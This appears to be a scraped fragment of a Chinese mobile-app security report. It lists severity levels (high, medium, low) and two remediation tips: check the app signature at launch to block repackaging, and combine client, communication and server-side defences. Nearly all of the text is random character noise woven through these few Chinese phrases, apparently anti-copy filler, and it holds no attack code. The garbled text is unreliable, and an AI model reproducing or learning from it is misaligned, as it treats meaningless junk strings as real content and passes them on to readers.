3 d: ]% G: f9 w " @0 z5 a+ S7 H; [6 J( o& r : C5 ]( a3 I( j# F& `; I 严重程度 5 G; J; s1 x: q	5 E: ]3 Z; y# I' A# Z; Y ) g! J! q9 ]' M& B 高 7 t% n) q$ z. t5 ]5 ]4 o	& ]% _/ [+ E5 o' l- W# h ■ % g0 P. X0 d: f+ O2 y + m- z& t6 c0 w2 q9 s : T o5 o2 C8 y, M2 s8 r0 G) G0 z	0 _- E8 t4 v7 Y# `6 a& A * V/ Z; G' s# n. Q: _( C 中 $ o7 G6 c2 _' |+ h, H4 o* Z& s / U/ }0 v# x# t' k9 D2 d ; S" P3 m" l3 R , Y& Q6 ?) ~. n$ _$ ]/ W, @	7 z% p% T9 [( E: d* p 0 d( ?1 y c; `+ L9 H' Q 2 [9 s: |$ @7 _- k : ~: C* X- b9 k% |   9 h9 ~* u: U# L" o; ]( d0 H4 R 5 R$ P* Y1 h! e+ w	$ z* S/ G A7 K - ~% `6 e- M/ Z' M2 G 低 , e! F. {2 R- }5 T* s( f$ ~3 n	$ o2 Y* p& e4 ^: D% N* L4 Q) c ! _. w3 i( B% f) R+ u/ ? + F: e7 R- T. l* \$ D8 }+ H( B/ G7 Q o( ~2 T2 d& d g6 ]2 u   ! v5 l4 U. ^. i7 Z ) O9 W/ Y: i. }$ ^- o* o % |9 T3 {) a! |. E% g

3 M% s" B5 k' B. e p1 ~$ A3 H

4 l$ V/ Y' U+ Z3 s% B# M ' i* w9 V& z# c" Y3 K/ w q

+ P" @7 [' o. j2 \: e& p4 p   / K8 g5 e# a; o

2 }' _2 n' K0 E0 m% a; [

4 I9 |/ Y9 @1 i' _6 [. u. S 4 C" K$ x9 n, W7 r 修复方法： # t1 m" j/ h* i 9 p0 D- I- W5 i% U) v" k4 L) L; m

! J7 d) u- t7 b7 d! d% q 9 ~3 r& T$ d A, ]( h" _/ Q; b4 p9 C               1.在 APP 启动时应做签名校验防止二次打包。
0 y+ Y! b: s5 ^. C# Q 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 - j8 x+ ]5 ^9 E' o' E

; u9 |. H! W" u ; Y; v" R, x; N& q4 {% P

" \+ Y' @1 Q/ p : D7 h7 J+ m; o# A7 _1 S  

p% d3 g# ^- r, K: ]9 ? 9 a8 [% o4 j, y) t4 D: M

6 D. w1 L5 N7 ^/ \# E: U